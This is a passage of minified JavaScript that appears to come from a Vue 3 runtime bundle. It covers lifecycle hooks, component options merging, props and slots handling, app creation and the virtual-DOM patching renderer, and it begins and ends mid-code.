t=n;while(t){if(t.isDeactivated)return;t=t.parent}return e()});if(ke(t,r,n),n){let e=n.parent;while(e&&e.parent)ve(e.parent.vnode)&&$e(r,t,n,e),e=e.parent}}function $e(e,t,n,r){const o=ke(t,e,r,!0);Oe(()=>{(0,a.TF)(r[t],o)},n)}function we(e){e.shapeFlag&=-257,e.shapeFlag&=-513}function _e(e){return 128&e.shapeFlag?e.ssContent:e}function ke(e,t,n=Qn,a=!1){if(n){const o=n[e]||(n[e]=[]),l=t.__weh||(t.__weh=(...a)=>{(0,r.C4)();const o=tr(n),l=i(t,n,e,a);return o(),(0,r.bl)(),l});return a?o.unshift(l):o.push(l),l}}const Ce=e=>(t,n=Qn)=>{ir&&\"sp\"!==e||ke(e,(...e)=>t(...e),n)},xe=Ce(\"bm\"),Se=Ce(\"m\"),Ee=Ce(\"bu\"),Te=Ce(\"u\"),Re=Ce(\"bum\"),Oe=Ce(\"um\"),Me=Ce(\"sp\"),Ae=Ce(\"rtg\"),De=Ce(\"rtc\");function Be(e,t=Qn){ke(\"ec\",e,t)}const We=\"components\",Pe=\"directives\";function Ie(e,t){return Fe(We,e,!0,t)||e}const Ne=Symbol.for(\"v-ndc\");function Le(e){return(0,a.Kg)(e)?Fe(We,e,!1)||e:e||Ne}function je(e){return Fe(Pe,e)}function Fe(e,t,n=!0,r=!1){const o=x||Qn;if(o){const n=o.type;if(e===We){const e=hr(n,!1);if(e&&(e===t||e===(0,a.PT)(t)||e===(0,a.ZH)((0,a.PT)(t))))return n}const i=Ve(o[e]||n[e],t)||Ve(o.appContext[e],t);return!i&&r?n:i}}function Ve(e,t){return e&&(e[t]||e[(0,a.PT)(t)]||e[(0,a.ZH)((0,a.PT)(t))])}function Ue(e,t,n,o){let i;const l=n&&n[o],s=(0,a.cy)(e);if(s||(0,a.Kg)(e)){const n=s&&(0,r.g8)(e);let a=!1,o=!1;n&&(a=!(0,r.fE)(e),o=(0,r.Tm)(e),e=(0,r.qA)(e)),i=new Array(e.length);for(let s=0,u=e.length;s\u003Cu;s++)i[s]=t(a?o?(0,r.a1)((0,r.lJ)(e[s])):(0,r.lJ)(e[s]):e[s],s,void 0,l&&l[s])}else if(\"number\"===typeof e){0,i=new Array(e);for(let n=0;n\u003Ce;n++)i[n]=t(n+1,n,void 0,l&&l[n])}else if((0,a.Gv)(e))if(e[Symbol.iterator])i=Array.from(e,(e,n)=>t(e,n,void 0,l&&l[n]));else{const n=Object.keys(e);i=new Array(n.length);for(let r=0,a=n.length;r\u003Ca;r++){const a=n[r];i[r]=t(e[a],a,r,l&&l[r])}}else i=[];return n&&(n[o]=i),i}function Xe(e,t){for(let n=0;n\u003Ct.length;n++){const r=t[n];if((0,a.cy)(r))for(let t=0;t\u003Cr.length;t++)e[r[t].name]=r[t].fn;else r&&(e[r.name]=r.key?(...e)=>{const t=r.fn(...e);return t&&(t.key=r.key),t}:r.fn)}return e}function He(e,t,n={},r,o){if(x.ce||x.parent&&fe(x.parent)&&x.parent.ce){const e=Object.keys(n).length>0;return\"default\"!==t&&(n.name=t),xn(),Mn(bn,null,[In(\"slot\",n,r&&r())],e?-2:64)}let i=e[t];i&&i._c&&(i._d=!1),xn();const l=i&&Ge(i(n)),s=n.key||l&&l.key,u=Mn(bn,{key:(s&&!(0,a.Bm)(s)?s:`_${t}`)+(!l&&r?\"_fb\":\"\")},l||(r?r():[]),l&&1===e._?64:-2);return!o&&u.scopeId&&(u.slotScopeIds=[u.scopeId+\"-s\"]),i&&i._c&&(i._d=!0),u}function Ge(e){return e.some(e=>!An(e)||e.type!==wn&&!(e.type===bn&&!Ge(e.children)))?e:null}function Ye(e,t){const n={};for(const r in e)n[t&&\u002F[A-Z]\u002F.test(r)?`on:${r}`:(0,a.rU)(r)]=e[r];return n}const ze=e=>e?rr(e)?pr(e):ze(e.parent):null,Ke=(0,a.X$)(Object.create(null),{$:e=>e,$el:e=>e.vnode.el,$data:e=>e.data,$props:e=>e.props,$attrs:e=>e.attrs,$slots:e=>e.slots,$refs:e=>e.refs,$parent:e=>ze(e.parent),$root:e=>ze(e.root),$host:e=>e.ce,$emit:e=>e.emit,$options:e=>lt(e),$forceUpdate:e=>e.f||(e.f=()=>{y(e.update)}),$nextTick:e=>e.n||(e.n=m.bind(e.proxy)),$watch:e=>rn.bind(e)}),qe=(e,t)=>e!==a.MZ&&!e.__isScriptSetup&&(0,a.$3)(e,t),Qe={get({_:e},t){if(\"__v_skip\"===t)return!0;const{ctx:n,setupState:o,data:i,props:l,accessCache:s,type:u,appContext:d}=e;let c;if(\"$\"!==t[0]){const r=s[t];if(void 0!==r)switch(r){case 1:return o[t];case 2:return i[t];case 4:return n[t];case 3:return l[t]}else{if(qe(o,t))return s[t]=1,o[t];if(i!==a.MZ&&(0,a.$3)(i,t))return s[t]=2,i[t];if((c=e.propsOptions[0])&&(0,a.$3)(c,t))return s[t]=3,l[t];if(n!==a.MZ&&(0,a.$3)(n,t))return s[t]=4,n[t];nt&&(s[t]=0)}}const f=Ke[t];let p,h;return f?(\"$attrs\"===t&&(0,r.u4)(e.attrs,\"get\",\"\"),f(e)):(p=u.__cssModules)&&(p=p[t])?p:n!==a.MZ&&(0,a.$3)(n,t)?(s[t]=4,n[t]):(h=d.config.globalProperties,(0,a.$3)(h,t)?h[t]:void 0)},set({_:e},t,n){const{data:r,setupState:o,ctx:i}=e;return qe(o,t)?(o[t]=n,!0):r!==a.MZ&&(0,a.$3)(r,t)?(r[t]=n,!0):!(0,a.$3)(e.props,t)&&((\"$\"!==t[0]||!(t.slice(1)in e))&&(i[t]=n,!0))},has({_:{data:e,setupState:t,accessCache:n,ctx:r,appContext:o,propsOptions:i,type:l}},s){let u,d;return!!(n[s]||e!==a.MZ&&\"$\"!==s[0]&&(0,a.$3)(e,s)||qe(t,s)||(u=i[0])&&(0,a.$3)(u,s)||(0,a.$3)(r,s)||(0,a.$3)(Ke,s)||(0,a.$3)(o.config.globalProperties,s)||(d=l.__cssModules)&&d[s])},defineProperty(e,t,n){return null!=n.get?e._.accessCache[t]=0:(0,a.$3)(n,\"value\")&&this.set(e,t,n.value,null),Reflect.defineProperty(e,t,n)}};function Ze(){return et(\"useSlots\").slots}function Je(){return et(\"useAttrs\").attrs}function et(e){const t=Zn();return t.setupContext||(t.setupContext=fr(t))}function tt(e){return(0,a.cy)(e)?e.reduce((e,t)=>(e[t]=null,e),{}):e}let nt=!0;function rt(e){const t=lt(e),n=e.proxy,o=e.ctx;nt=!1,t.beforeCreate&&ot(t.beforeCreate,e,\"bc\");const{data:i,computed:l,methods:s,watch:u,provide:d,inject:c,created:f,beforeMount:p,mounted:h,beforeUpdate:v,updated:m,activated:g,deactivated:y,beforeDestroy:b,beforeUnmount:$,destroyed:w,unmounted:_,render:k,renderTracked:C,renderTriggered:x,errorCaptured:S,serverPrefetch:E,expose:T,inheritAttrs:R,components:O,directives:M,filters:A}=t,D=null;if(c&&at(c,o,D),s)for(const r in s){const e=s[r];(0,a.Tn)(e)&&(o[r]=e.bind(n))}if(i){0;const t=i.call(n,n);0,(0,a.Gv)(t)&&(e.data=(0,r.Kh)(t))}if(nt=!0,l)for(const r in l){const e=l[r],t=(0,a.Tn)(e)?e.bind(n,n):(0,a.Tn)(e.get)?e.get.bind(n,n):a.tE;0;const i=!(0,a.Tn)(e)&&(0,a.Tn)(e.set)?e.set.bind(n):a.tE,s=mr({get:t,set:i});Object.defineProperty(o,r,{enumerable:!0,configurable:!0,get:()=>s.value,set:e=>s.value=e})}if(u)for(const r in u)it(u[r],o,n,r);if(d){const e=(0,a.Tn)(d)?d.call(n):d;Reflect.ownKeys(e).forEach(t=>{wt(t,e[t])})}function B(e,t){(0,a.cy)(t)?t.forEach(t=>e(t.bind(n))):t&&e(t.bind(n))}if(f&&ot(f,e,\"c\"),B(xe,p),B(Se,h),B(Ee,v),B(Te,m),B(ge,g),B(ye,y),B(Be,S),B(De,C),B(Ae,x),B(Re,$),B(Oe,_),B(Me,E),(0,a.cy)(T))if(T.length){const t=e.exposed||(e.exposed={});T.forEach(e=>{Object.defineProperty(t,e,{get:()=>n[e],set:t=>n[e]=t,enumerable:!0})})}else e.exposed||(e.exposed={});k&&e.render===a.tE&&(e.render=k),null!=R&&(e.inheritAttrs=R),O&&(e.components=O),M&&(e.directives=M),E&&ie(e)}function at(e,t,n=a.tE){(0,a.cy)(e)&&(e=ft(e));for(const o in e){const n=e[o];let i;i=(0,a.Gv)(n)?\"default\"in n?_t(n.from||o,n.default,!0):_t(n.from||o):_t(n),(0,r.i9)(i)?Object.defineProperty(t,o,{enumerable:!0,configurable:!0,get:()=>i.value,set:e=>i.value=e}):t[o]=i}}function ot(e,t,n){i((0,a.cy)(e)?e.map(e=>e.bind(t.proxy)):e.bind(t.proxy),t,n)}function it(e,t,n,r){let o=r.includes(\".\")?an(n,r):()=>n[r];if((0,a.Kg)(e)){const n=t[e];(0,a.Tn)(n)&&tn(o,n)}else if((0,a.Tn)(e))tn(o,e.bind(n));else if((0,a.Gv)(e))if((0,a.cy)(e))e.forEach(e=>it(e,t,n,r));else{const r=(0,a.Tn)(e.handler)?e.handler.bind(n):t[e.handler];(0,a.Tn)(r)&&tn(o,r,e)}else 0}function lt(e){const t=e.type,{mixins:n,extends:r}=t,{mixins:o,optionsCache:i,config:{optionMergeStrategies:l}}=e.appContext,s=i.get(t);let u;return s?u=s:o.length||n||r?(u={},o.length&&o.forEach(e=>st(u,e,l,!0)),st(u,t,l)):u=t,(0,a.Gv)(t)&&i.set(t,u),u}function st(e,t,n,r=!1){const{mixins:a,extends:o}=t;o&&st(e,o,n,!0),a&&a.forEach(t=>st(e,t,n,!0));for(const i in t)if(r&&\"expose\"===i);else{const r=ut[i]||n&&n[i];e[i]=r?r(e[i],t[i]):t[i]}return e}const ut={data:dt,props:vt,emits:vt,methods:ht,computed:ht,beforeCreate:pt,created:pt,beforeMount:pt,mounted:pt,beforeUpdate:pt,updated:pt,beforeDestroy:pt,beforeUnmount:pt,destroyed:pt,unmounted:pt,activated:pt,deactivated:pt,errorCaptured:pt,serverPrefetch:pt,components:ht,directives:ht,watch:mt,provide:dt,inject:ct};function dt(e,t){return t?e?function(){return(0,a.X$)((0,a.Tn)(e)?e.call(this,this):e,(0,a.Tn)(t)?t.call(this,this):t)}:t:e}function ct(e,t){return ht(ft(e),ft(t))}function ft(e){if((0,a.cy)(e)){const t={};for(let n=0;n\u003Ce.length;n++)t[e[n]]=e[n];return t}return e}function pt(e,t){return e?[...new Set([].concat(e,t))]:t}function ht(e,t){return e?(0,a.X$)(Object.create(null),e,t):t}function vt(e,t){return e?(0,a.cy)(e)&&(0,a.cy)(t)?[...new Set([...e,...t])]:(0,a.X$)(Object.create(null),tt(e),tt(null!=t?t:{})):t}function mt(e,t){if(!e)return t;if(!t)return e;const n=(0,a.X$)(Object.create(null),e);for(const r in t)n[r]=pt(e[r],t[r]);return n}function gt(){return{app:null,config:{isNativeTag:a.NO,performance:!1,globalProperties:{},optionMergeStrategies:{},errorHandler:void 0,warnHandler:void 0,compilerOptions:{}},mixins:[],components:{},directives:{},provides:Object.create(null),optionsCache:new WeakMap,propsCache:new WeakMap,emitsCache:new WeakMap}}let yt=0;function bt(e,t){return function(n,r=null){(0,a.Tn)(n)||(n=(0,a.X$)({},n)),null==r||(0,a.Gv)(r)||(r=null);const o=gt(),l=new WeakSet,s=[];let u=!1;const d=o.app={_uid:yt++,_component:n,_props:r,_container:null,_context:o,_instance:null,version:yr,get config(){return o.config},set config(e){0},use(e,...t){return l.has(e)||(e&&(0,a.Tn)(e.install)?(l.add(e),e.install(d,...t)):(0,a.Tn)(e)&&(l.add(e),e(d,...t))),d},mixin(e){return o.mixins.includes(e)||o.mixins.push(e),d},component(e,t){return t?(o.components[e]=t,d):o.components[e]},directive(e,t){return t?(o.directives[e]=t,d):o.directives[e]},mount(a,i,l){if(!u){0;const s=d._ceVNode||In(n,r);return s.appContext=o,!0===l?l=\"svg\":!1===l&&(l=void 0),i&&t?t(s,a):e(s,a,l),u=!0,d._container=a,a.__vue_app__=d,pr(s.component)}},onUnmount(e){s.push(e)},unmount(){u&&(i(s,d._instance,16),e(null,d._container),delete d._container.__vue_app__)},provide(e,t){return o.provides[e]=t,d},runWithContext(e){const t=$t;$t=d;try{return e()}finally{$t=t}}};return d}}let $t=null;function wt(e,t){if(Qn){let n=Qn.provides;const r=Qn.parent&&Qn.parent.provides;r===n&&(n=Qn.provides=Object.create(r)),n[e]=t}else 0}function _t(e,t,n=!1){const r=Zn();if(r||$t){let o=$t?$t._context.provides:r?null==r.parent||r.ce?r.vnode.appContext&&r.vnode.appContext.provides:r.parent.provides:void 0;if(o&&e in o)return o[e];if(arguments.length>1)return n&&(0,a.Tn)(t)?t.call(r&&r.proxy):t}else 0}const kt={},Ct=()=>Object.create(kt),xt=e=>Object.getPrototypeOf(e)===kt;function St(e,t,n,a=!1){const o={},i=Ct();e.propsDefaults=Object.create(null),Tt(e,t,o,i);for(const r in e.propsOptions[0])r in o||(o[r]=void 0);n?e.props=a?o:(0,r.Gc)(o):e.type.props?e.props=o:e.props=i,e.attrs=i}function Et(e,t,n,o){const{props:i,attrs:l,vnode:{patchFlag:s}}=e,u=(0,r.ux)(i),[d]=e.propsOptions;let c=!1;if(!(o||s>0)||16&s){let r;Tt(e,t,i,l)&&(c=!0);for(const o in u)t&&((0,a.$3)(t,o)||(r=(0,a.Tg)(o))!==o&&(0,a.$3)(t,r))||(d?!n||void 0===n[o]&&void 0===n[r]||(i[o]=Rt(d,u,o,void 0,e,!0)):delete i[o]);if(l!==u)for(const e in l)t&&(0,a.$3)(t,e)||(delete l[e],c=!0)}else if(8&s){const n=e.vnode.dynamicProps;for(let r=0;r\u003Cn.length;r++){let o=n[r];if(dn(e.emitsOptions,o))continue;const s=t[o];if(d)if((0,a.$3)(l,o))s!==l[o]&&(l[o]=s,c=!0);else{const t=(0,a.PT)(o);i[t]=Rt(d,u,t,s,e,!1)}else s!==l[o]&&(l[o]=s,c=!0)}}c&&(0,r.hZ)(e.attrs,\"set\",\"\")}function Tt(e,t,n,o){const[i,l]=e.propsOptions;let s,u=!1;if(t)for(let r in t){if((0,a.SU)(r))continue;const d=t[r];let c;i&&(0,a.$3)(i,c=(0,a.PT)(r))?l&&l.includes(c)?(s||(s={}))[c]=d:n[c]=d:dn(e.emitsOptions,r)||r in o&&d===o[r]||(o[r]=d,u=!0)}if(l){const t=(0,r.ux)(n),o=s||a.MZ;for(let r=0;r\u003Cl.length;r++){const s=l[r];n[s]=Rt(i,t,s,o[s],e,!(0,a.$3)(o,s))}}return u}function Rt(e,t,n,r,o,i){const l=e[n];if(null!=l){const e=(0,a.$3)(l,\"default\");if(e&&void 0===r){const e=l.default;if(l.type!==Function&&!l.skipFactory&&(0,a.Tn)(e)){const{propsDefaults:a}=o;if(n in a)r=a[n];else{const i=tr(o);r=a[n]=e.call(null,t),i()}}else r=e;o.ce&&o.ce._setProp(n,r)}l[0]&&(i&&!e?r=!1:!l[1]||\"\"!==r&&r!==(0,a.Tg)(n)||(r=!0))}return r}const Ot=new WeakMap;function Mt(e,t,n=!1){const r=n?Ot:t.propsCache,o=r.get(e);if(o)return o;const i=e.props,l={},s=[];let u=!1;if(!(0,a.Tn)(e)){const r=e=>{u=!0;const[n,r]=Mt(e,t,!0);(0,a.X$)(l,n),r&&s.push(...r)};!n&&t.mixins.length&&t.mixins.forEach(r),e.extends&&r(e.extends),e.mixins&&e.mixins.forEach(r)}if(!i&&!u)return(0,a.Gv)(e)&&r.set(e,a.Oj),a.Oj;if((0,a.cy)(i))for(let c=0;c\u003Ci.length;c++){0;const e=(0,a.PT)(i[c]);At(e)&&(l[e]=a.MZ)}else if(i){0;for(const e in i){const t=(0,a.PT)(e);if(At(t)){const n=i[e],r=l[t]=(0,a.cy)(n)||(0,a.Tn)(n)?{type:n}:(0,a.X$)({},n),o=r.type;let u=!1,d=!0;if((0,a.cy)(o))for(let e=0;e\u003Co.length;++e){const t=o[e],n=(0,a.Tn)(t)&&t.name;if(\"Boolean\"===n){u=!0;break}\"String\"===n&&(d=!1)}else u=(0,a.Tn)(o)&&\"Boolean\"===o.name;r[0]=u,r[1]=d,(u||(0,a.$3)(r,\"default\"))&&s.push(t)}}}const d=[l,s];return(0,a.Gv)(e)&&r.set(e,d),d}function At(e){return\"$\"!==e[0]&&!(0,a.SU)(e)}const Dt=e=>\"_\"===e||\"_ctx\"===e||\"$stable\"===e,Bt=e=>(0,a.cy)(e)?e.map(Un):[Un(e)],Wt=(e,t,n)=>{if(t._n)return t;const r=T((...e)=>Bt(t(...e)),n);return r._c=!1,r},Pt=(e,t,n)=>{const r=e._ctx;for(const o in e){if(Dt(o))continue;const n=e[o];if((0,a.Tn)(n))t[o]=Wt(o,n,r);else if(null!=n){0;const e=Bt(n);t[o]=()=>e}}},It=(e,t)=>{const n=Bt(t);e.slots.default=()=>n},Nt=(e,t,n)=>{for(const r in t)!n&&Dt(r)||(e[r]=t[r])},Lt=(e,t,n)=>{const r=e.slots=Ct();if(32&e.vnode.shapeFlag){const e=t._;e?(Nt(r,t,n),n&&(0,a.yQ)(r,\"_\",e,!0)):Pt(t,r)}else t&&It(e,t)},jt=(e,t,n)=>{const{vnode:r,slots:o}=e;let i=!0,l=a.MZ;if(32&r.shapeFlag){const e=t._;e?n&&1===e?i=!1:Nt(o,t,n):(i=!t.$stable,Pt(t,o)),l=t}else t&&(It(e,t),l={default:1});if(i)for(const a in o)Dt(a)||null!=l[a]||delete o[a]};function Ft(){}const Vt=yn;function Ut(e){return Xt(e)}function Xt(e,t){Ft();const n=(0,a.We)();n.__VUE__=!0;const{insert:o,remove:i,patchProp:l,createElement:s,createText:u,createComment:d,setText:c,setElementText:f,parentNode:p,nextSibling:h,setScopeId:v=a.tE,insertStaticContent:m}=e,g=(e,t,n,r=null,a=null,o=null,i=void 0,l=null,s=!!t.dynamicChildren)=>{if(e===t)return;e&&!Dn(e,t)&&(r=Q(e),G(e,a,o,!0),e=null),-2===t.patchFlag&&(s=!1,t.dynamicChildren=null);const{type:u,ref:d,shapeFlag:c}=t;switch(u){case $n:b(e,t,n,r);break;case wn:$(e,t,n,r);break;case _n:null==e&&k(t,n,r,i);break;case bn:W(e,t,n,r,a,o,i,l,s);break;default:1&c?S(e,t,n,r,a,o,i,l,s):6&c?P(e,t,n,r,a,o,i,l,s):(64&c||128&c)&&u.process(e,t,n,r,a,o,i,l,s,ee)}null!=d&&a?se(d,e&&e.ref,o,t||e,!t):null==d&&e&&null!=e.ref&&se(e.ref,null,o,e,!0)},b=(e,t,n,r)=>{if(null==e)o(t.el=u(t.children),n,r);else{const n=t.el=e.el;t.children!==e.children&&c(n,t.children)}},$=(e,t,n,r)=>{null==e?o(t.el=d(t.children||\"\"),n,r):t.el=e.el},k=(e,t,n,r)=>{[e.el,e.anchor]=m(e.children,t,n,r,e.el,e.anchor)},C=({el:e,anchor:t},n,r)=>{let a;while(e&&e!==t)a=h(e),o(e,n,r),e=a;o(t,n,r)},x=({el:e,anchor:t})=>{let n;while(e&&e!==t)n=h(e),i(e),e=n;i(t)},S=(e,t,n,r,a,o,i,l,s)=>{\"svg\"===t.type?i=\"svg\":\"math\"===t.type&&(i=\"mathml\"),null==e?E(t,n,r,a,o,i,l,s):A(e,t,a,o,i,l,s)},E=(e,t,n,r,i,u,d,c)=>{let p,h;const{props:v,shapeFlag:m,transition:g,dirs:y}=e;if(p=e.el=s(e.type,u,v&&v.is,v),8&m?f(p,e.children):16&m&&R(e.children,p,null,r,i,Ht(e,u),d,c),y&&O(e,null,r,\"created\"),T(p,e,e.scopeId,d,r),v){for(const e in v)\"value\"===e||(0,a.SU)(e)||l(p,e,null,v[e],u,r);\"value\"in v&&l(p,\"value\",null,v.value,u),(h=v.onVnodeBeforeMount)&&Yn(h,r,e)}y&&O(e,null,r,\"beforeMount\");const b=Yt(i,g);b&&g.beforeEnter(p),o(p,t,n),((h=v&&v.onVnodeMounted)||b||y)&&Vt(()=>{h&&Yn(h,r,e),b&&g.enter(p),y&&O(e,null,r,\"mounted\")},i)},T=(e,t,n,r,a)=>{if(n&&v(e,n),r)for(let o=0;o\u003Cr.length;o++)v(e,r[o]);if(a){let n=a.subTree;if(t===n||gn(n.type)&&(n.ssContent===t||n.ssFallback===t)){const t=a.vnode;T(e,t,t.scopeId,t.slotScopeIds,a.parent)}}},R=(e,t,n,r,a,o,i,l,s=0)=>{for(let u=s;u\u003Ce.length;u++){const s=e[u]=l?Xn(e[u]):Un(e[u]);g(null,s,t,n,r,a,o,i,l)}},A=(e,t,n,r,o,i,s)=>{const u=t.el=e.el;let{patchFlag:d,dynamicChildren:c,dirs:p}=t;d|=16&e.patchFlag;const h=e.props||a.MZ,v=t.props||a.MZ;let m;if(n&&Gt(n,!1),(m=v.onVnodeBeforeUpdate)&&Yn(m,n,t,e),p&&O(t,e,n,\"beforeUpdate\"),n&&Gt(n,!0),(h.innerHTML&&null==v.innerHTML||h.textContent&&null==v.textContent)&&f(u,\"\"),c?D(e.dynamicChildren,c,u,n,r,Ht(t,o),i):s||F(e,t,u,null,n,r,Ht(t,o),i,!1),d>0){if(16&d)B(u,h,v,n,o);else if(2&d&&h.class!==v.class&&l(u,\"class\",null,v.class,o),4&d&&l(u,\"style\",h.style,v.style,o),8&d){const e=t.dynamicProps;for(let t=0;t\u003Ce.length;t++){const r=e[t],a=h[r],i=v[r];i===a&&\"value\"!==r||l(u,r,a,i,o,n)}}1&d&&e.children!==t.children&&f(u,t.children)}else s||null!=c||B(u,h,v,n,o);((m=v.onVnodeUpdated)||p)&&Vt(()=>{m&&Yn(m,n,t,e),p&&O(t,e,n,\"updated\")},r)},D=(e,t,n,r,a,o,i)=>{for(let l=0;l\u003Ct.length;l++){const s=e[l],u=t[l],d=s.el&&(s.type===bn||!Dn(s,u)||198&s.shapeFlag)?p(s.el):n;g(s,u,d,null,r,a,o,i,!0)}},B=(e,t,n,r,o)=>{if(t!==n){if(t!==a.MZ)for(const i in t)(0,a.SU)(i)||i in n||l(e,i,t[i],null,o,r);for(const i in n){if((0,a.SU)(i))continue;const s=n[i],u=t[i];s!==u&&\"value\"!==i&&l(e,i,u,s,o,r)}\"value\"in n&&l(e,\"value\",t.value,n.value,o)}},W=(e,t,n,r,a,i,l,s,d)=>{const c=t.el=e?e.el:u(\"\"),f=t.anchor=e?e.anchor:u(\"\");let{patchFlag:p,dynamicChildren:h,slotScopeIds:v}=t;v&&(s=s?s.concat(v):v),null==e?(o(c,n,r),o(f,n,r),R(t.children||[],n,f,a,i,l,s,d)):p>0&&64&p&&h&&e.dynamicChildren?(D(e.dynamicChildren,h,n,a,i,l,s),(null!=t.key||a&&t===a.subTree)&&zt(e,t,!0)):F(e,t,n,f,a,i,l,s,d)},P=(e,t,n,r,a,o,i,l,s)=>{t.slotScopeIds=l,null==e?512&t.shapeFlag?a.ctx.activate(t,n,r,i,s):I(t,n,r,a,o,i,s):N(e,t,s)},I=(e,t,n,r,a,o,i)=>{const l=e.component=qn(e,r,a);if(ve(e)&&(l.ctx.renderer=ee),lr(l,!1,i),l.asyncDep){if(a&&a.registerDep(l,L,i),!e.el){const r=l.subTree=In(wn);$(null,r,t,n),e.placeholder=r.el}}else L(l,e,t,n,a,o,i)},N=(e,t,n)=>{const r=t.component=e.component;if(hn(e,t,n)){if(r.asyncDep&&!r.asyncResolved)return void j(r,t,n);r.next=t,r.update()}else t.el=e.el,r.vnode=t},L=(e,t,n,o,i,l,s)=>{const u=()=>{if(e.isMounted){let{next:t,bu:n,u:r,parent:o,vnode:d}=e;{const n=qt(e);if(n)return t&&(t.el=d.el,j(e,t,s)),void n.asyncDep.then(()=>{e.isUnmounted||u()})}let c,f=t;0,Gt(e,!1),t?(t.el=d.el,j(e,t,s)):t=d,n&&(0,a.DY)(n),(c=t.props&&t.props.onVnodeBeforeUpdate)&&Yn(c,o,t,d),Gt(e,!0);const h=cn(e);0;const v=e.subTree;e.subTree=h,g(v,h,p(v.el),Q(v),e,i,l),t.el=h.el,null===f&&mn(e,h.el),r&&Vt(r,i),(c=t.props&&t.props.onVnodeUpdated)&&Vt(()=>Yn(c,o,t,d),i)}else{let r;const{el:s,props:u}=t,{bm:d,m:c,parent:f,root:p,type:h}=e,v=fe(t);if(Gt(e,!1),d&&(0,a.DY)(d),!v&&(r=u&&u.onVnodeBeforeMount)&&Yn(r,f,t),Gt(e,!0),s&&ne){const t=()=>{e.subTree=cn(e),ne(s,e.subTree,e,i,null)};v&&h.__asyncHydrate?h.__asyncHydrate(s,e,t):t()}else{p.ce&&!1!==p.ce._def.shadowRoot&&p.ce._injectChildStyle(h);const r=e.subTree=cn(e);0,g(null,r,n,o,e,i,l),t.el=r.el}if(c&&Vt(c,i),!v&&(r=u&&u.onVnodeMounted)){const e=t;Vt(()=>Yn(r,f,e),i)}(256&t.shapeFlag||f&&fe(f.vnode)&&256&f.vnode.shapeFlag)&&e.a&&Vt(e.a,i),e.isMounted=!0,t=n=o=null}};e.scope.on();const d=e.effect=new r.X2(u);e.scope.off();const c=e.update=d.run.bind(d),f=e.job=d.runIfDirty.bind(d);f.i=e,f.id=e.uid,d.scheduler=()=>y(f),Gt(e,!0),c()},j=(e,t,n)=>{t.component=e;const a=e.vnode.props;e.vnode=t,e.next=null,Et(e,t.props,a,n),jt(e,t.children,n),(0,r.C4)(),w(e),(0,r.bl)()},F=(e,t,n,r,a,o,i,l,s=!1)=>{const u=e&&e.children,d=e?e.shapeFlag:0,c=t.children,{patchFlag:p,shapeFlag:h}=t;if(p>0){if(128&p)return void U(u,c,n,r,a,o,i,l,s);if(256&p)return void V(u,c,n,r,a,o,i,l,s)}8&h?(16&d&&q(u,a,o),c!==u&&f(n,c)):16&d?16&h?U(u,c,n,r,a,o,i,l,s):q(u,a,o,!0):(8&d&&f(n,\"\"),16&h&&R(c,n,r,a,o,i,l,s))},V=(e,t,n,r,o,i,l,s,u)=>{e=e||a.Oj,t=t||a.Oj;const d=e.length,c=t.length,f=Math.min(d,c);let p;for(p=0;p\u003Cf;p++){const r=t[p]=u?Xn(t[p]):Un(t[p]);g(e[p],r,n,null,o,i,l,s,u)}d>c?q(e,o,i,!0,!1,f):R(t,n,r,o,i,l,s,u,f)},U=(e,t,n,r,o,i,l,s,u)=>{let d=0;const c=t.length;let f=e.length-1,p=c-1;while(d\u003C=f&&d\u003C=p){const r=e[d],a=t[d]=u?Xn(t[d]):Un(t[d]);if(!Dn(r,a))break;g(r,a,n,null,o,i,l,s,u),d++}while(d\u003C=f&&d\u003C=p){const r=e[f],a=t[p]=u?Xn(t[p]):Un(t[p]);if(!Dn(r,a))break;g(r,a,n,null,o,i,l,s,u),f--,p--}if(d>f){if(d\u003C=p){const e=p+1,a=e\u003Cc?t[e].el:r;while(d\u003C=p)g(null,t[d]=u?Xn(t[d]):Un(t[d]),n,a,o,i,l,s,u),d++}}else if(d>p)while(d\u003C=f)G(e[d],o,i,!0),d++;else{const h=d,v=d,m=new Map;for(d=v;d\u003C=p;d++){const e=t[d]=u?Xn(t[d]):Un(t[d]);null!=e.key&&m.set(e.key,d)}let y,b=0;const $=p-v+1;let w=!1,_=0;const k=new Array($);for(d=0;d\u003C$;d++)k[d]=0;for(d=h;d\u003C=f;d++){const r=e[d];if(b>=$){G(r,o,i,!0);continue}let a;if(null!=r.key)a=m.get(r.key);else for(y=v;y\u003C=p;y++)if(0===k[y-v]&&Dn(r,t[y])){a=y;break}void 0===a?G(r,o,i,!0):(k[a-v]=d+1,a>=_?_=a:w=!0,g(r,t[a],n,null,o,i,l,s,u),b++)}const C=w?Kt(k):a.Oj;for(y=C.length-1,d=$-1;d>=0;d--){const e=v+d,a=t[e],f=t[e+1],p=e+1\u003Cc?f.el||f.placeholder:r;0===k[d]?g(null,a,n,p,o,i,l,s,u):w&&(y\u003C0||d!==C[y]?H(a,n,p,2):y--)}}},H=(e,t,n,r,a=null)=>{const{el:l,type:s,transition:u,children:d,shapeFlag:c}=e;if(6&c)return void H(e.component.subTree,t,n,r);if(128&c)return void e.suspense.move(t,n,r);if(64&c)return void s.move(e,t,n,ee);if(s===bn){o(l,t,n);for(let e=0;e\u003Cd.length;e++)H(d[e],t,n,r);return void o(e.anchor,t,n)}if(s===_n)return void C(e,t,n);const f=2!==r&&1&c&&u;if(f)if(0===r)u.beforeEnter(l),o(l,t,n),Vt(()=>u.enter(l),a);else{const{leave:r,delayLeave:a,afterLeave:s}=u,d=()=>{e.ctx.isUnmounted?i(l):o(l,t,n)},c=()=>{l._isLeaving&&l[X](!0),r(l,()=>{d(),s&&s()})};a?a(l,d,c):c()}else o(l,t,n)},G=(e,t,n,a=!1,o=!1)=>{const{type:i,props:l,ref:s,children:u,dynamicChildren:d,shapeFlag:c,patchFlag:f,dirs:p,cacheIndex:h}=e;if(-2===f&&(o=!1),null!=s&&((0,r.C4)(),se(s,null,n,e,!0),(0,r.bl)()),null!=h&&(t.renderCache[h]=void 0),256&c)return void t.ctx.deactivate(e);const v=1&c&&p,m=!fe(e);let g;if(m&&(g=l&&l.onVnodeBeforeUnmount)&&Yn(g,t,e),6&c)K(e.component,n,a);else{if(128&c)return void e.suspense.unmount(n,a);v&&O(e,null,t,\"beforeUnmount\"),64&c?e.type.remove(e,t,n,ee,a):d&&!d.hasOnce&&(i!==bn||f>0&&64&f)?q(d,t,n,!1,!0):(i===bn&&384&f||!o&&16&c)&&q(u,t,n),a&&Y(e)}(m&&(g=l&&l.onVnodeUnmounted)||v)&&Vt(()=>{g&&Yn(g,t,e),v&&O(e,null,t,\"unmounted\")},n)},Y=e=>{const{type:t,el:n,anchor:r,transition:a}=e;if(t===bn)return void z(n,r);if(t===_n)return void x(e);const 